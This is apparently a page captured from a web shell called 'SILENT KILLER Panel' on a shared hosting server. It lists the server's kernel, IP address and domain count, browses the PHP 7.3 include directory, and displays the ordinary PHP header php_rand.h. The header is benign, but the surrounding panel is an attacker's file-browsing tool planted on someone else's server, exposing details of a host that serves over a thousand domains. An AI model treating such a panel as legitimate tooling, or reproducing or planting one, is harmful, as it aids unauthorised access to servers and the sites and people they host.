SILENT KILLERPanel

Current Path: > > opt > cloudlinux > alt-php73 > root > usr > include > > php > ext > standard


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //opt/cloudlinux/alt-php73/root/usr/include//php/ext/standard

NameTypeSizeLast ModifiedActions
base64.h File 3966 bytes July 18 2025 00:24:34.
basic_functions.h File 7770 bytes July 18 2025 00:24:34.
crc32.h File 4882 bytes July 18 2025 00:24:34.
credits.h File 1714 bytes July 18 2025 00:24:34.
credits_ext.h File 5501 bytes July 18 2025 00:24:34.
credits_sapi.h File 845 bytes July 18 2025 00:24:35.
crypt_blowfish.h File 1037 bytes July 18 2025 00:24:35.
crypt_freesec.h File 653 bytes July 18 2025 00:24:35.
css.h File 1222 bytes July 18 2025 00:24:35.
cyr_convert.h File 1254 bytes July 18 2025 00:24:35.
datetime.h File 1374 bytes July 18 2025 00:24:35.
dl.h File 1631 bytes July 18 2025 00:24:35.
exec.h File 1721 bytes July 18 2025 00:24:35.
file.h File 4712 bytes July 18 2025 00:24:35.
flock_compat.h File 2108 bytes July 18 2025 00:24:35.
fsock.h File 1540 bytes July 18 2025 00:24:35.
head.h File 1898 bytes July 18 2025 00:24:35.
hrtime.h File 2537 bytes July 18 2025 00:24:35.
html.h File 2686 bytes July 18 2025 00:24:35.
html_tables.h File 483749 bytes July 18 2025 00:24:35.
info.h File 23142 bytes July 18 2025 00:24:35.
md5.h File 2151 bytes July 18 2025 00:24:35.
microtime.h File 1353 bytes July 18 2025 00:24:35.
pack.h File 1267 bytes July 18 2025 00:24:35.
pageinfo.h File 1457 bytes July 18 2025 00:24:35.
php_array.h File 4518 bytes July 18 2025 00:24:35.
php_assert.h File 1417 bytes July 18 2025 00:24:35.
php_browscap.h File 1315 bytes July 18 2025 00:24:35.
php_crypt.h File 1649 bytes July 18 2025 00:24:35.
php_crypt_r.h File 2041 bytes July 18 2025 00:24:35.
php_dir.h File 1702 bytes July 18 2025 00:24:35.
php_dns.h File 2898 bytes July 18 2025 00:24:35.
php_ext_syslog.h File 1499 bytes July 18 2025 00:24:35.
php_filestat.h File 3170 bytes July 18 2025 00:24:35.
php_fopen_wrappers.h File 1989 bytes July 18 2025 00:24:35.
php_ftok.h File 1252 bytes July 18 2025 00:24:35.
php_http.h File 1782 bytes July 18 2025 00:24:35.
php_image.h File 2425 bytes July 18 2025 00:24:35.
php_incomplete_class.h File 2296 bytes July 18 2025 00:24:35.
php_iptc.h File 1261 bytes July 18 2025 00:24:35.
php_lcg.h File 1520 bytes July 18 2025 00:24:35.
php_link.h File 1359 bytes July 18 2025 00:24:35.
php_mail.h File 2429 bytes July 18 2025 00:24:35.
php_math.h File 4758 bytes July 18 2025 00:24:35.
php_metaphone.h File 1230 bytes July 18 2025 00:24:35.
php_mt_rand.h File 2003 bytes July 18 2025 00:24:35.
php_net.h File 1350 bytes July 18 2025 00:24:35.
php_password.h File 1925 bytes July 18 2025 00:24:35.
php_rand.h File 3219 bytes July 18 2025 00:24:35.
php_random.h File 2196 bytes July 18 2025 00:24:35.
php_smart_string.h File 1313 bytes July 18 2025 00:24:35.
php_smart_string_public.h File 1320 bytes July 18 2025 00:24:35.
php_standard.h File 2366 bytes July 18 2025 00:24:35.
php_string.h File 6437 bytes July 18 2025 00:24:35.
php_type.h File 1657 bytes July 18 2025 00:24:35.
php_uuencode.h File 1483 bytes July 18 2025 00:24:35.
php_var.h File 3326 bytes July 18 2025 00:24:35.
php_versioning.h File 1394 bytes July 18 2025 00:24:35.
proc_open.h File 1777 bytes July 18 2025 00:24:35.
quot_print.h File 1486 bytes July 18 2025 00:24:35.
scanf.h File 2296 bytes July 18 2025 00:24:35.
sha1.h File 1729 bytes July 18 2025 00:24:35.
streamsfuncs.h File 2931 bytes July 18 2025 00:24:35.
uniqid.h File 1261 bytes July 18 2025 00:24:35.
url.h File 2524 bytes July 18 2025 00:24:35.
url_scanner_ex.h File 2499 bytes July 18 2025 00:24:35.
winver.h File 6377 bytes July 18 2025 00:24:35.

Reading File: //opt/cloudlinux/alt-php73/root/usr/include//php/ext/standard/php_rand.h

/*
   +----------------------------------------------------------------------+
   | PHP Version 7                                                        |
   +----------------------------------------------------------------------+
   | Copyright (c) 1997-2018 The PHP Group                                |
   +----------------------------------------------------------------------+
   | This source file is subject to version 3.01 of the PHP license,      |
   | that is bundled with this package in the file LICENSE, and is        |
   | available through the world-wide-web at the following url:           |
   | http://www.php.net/license/3_01.txt                                  |
   | If you did not receive a copy of the PHP license and are unable to   |
   | obtain it through the world-wide-web, please send a note to          |
   | license@php.net so we can mail you a copy immediately.               |
   +----------------------------------------------------------------------+
   | Authors: Rasmus Lerdorf <rasmus@php.net>                             |
   |          Zeev Suraski <zeev@php.net>                                 |
   |          Pedro Melo <melo@ip.pt>                                     |
   |          Sterling Hughes <sterling@php.net>                          |
   |                                                                      |
   | Based on code from: Shawn Cokus <Cokus@math.washington.edu>          |
   +----------------------------------------------------------------------+
 */

#ifndef PHP_RAND_H
#define	PHP_RAND_H

#include "php_lcg.h"
#include "php_mt_rand.h"

/* System Rand functions */
#ifndef RAND_MAX
#define RAND_MAX PHP_MT_RAND_MAX
#endif

#define PHP_RAND_MAX PHP_MT_RAND_MAX

/*
 * A bit of tricky math here.  We want to avoid using a modulus because
 * that simply tosses the high-order bits and might skew the distribution
 * of random values over the range.  Instead we map the range directly.
 *
 * We need to map the range from 0...M evenly to the range a...b
 * Let n = the random number and n' = the mapped random number
 *
 * Then we have: n' = a + n(b-a)/M
 *
 * We have a problem here in that only n==M will get mapped to b which
 # means the chances of getting b is much much less than getting any of
 # the other values in the range.  We can fix this by increasing our range
 # artificially and using:
 #
 #               n' = a + n(b-a+1)/M
 *
 # Now we only have a problem if n==M which would cause us to produce a
 # number of b+1 which would be bad.  So we bump M up by one to make sure
 # this will never happen, and the final algorithm looks like this:
 #
 #               n' = a + n(b-a+1)/(M+1)
 *
 * -RL
 */
#define RAND_RANGE_BADSCALING(__n, __min, __max, __tmax) \
	(__n) = (__min) + (zend_long) ((double) ( (double) (__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))

#ifdef PHP_WIN32
#define GENERATE_SEED() (((zend_long) (time(0) * GetCurrentProcessId())) ^ ((zend_long) (1000000.0 * php_combined_lcg())))
#else
#define GENERATE_SEED() (((zend_long) (time(0) * getpid())) ^ ((zend_long) (1000000.0 * php_combined_lcg())))
#endif

PHPAPI void php_srand(zend_long seed);
PHPAPI zend_long php_rand(void);

#endif	/* PHP_RAND_H */

SILENT KILLER Tool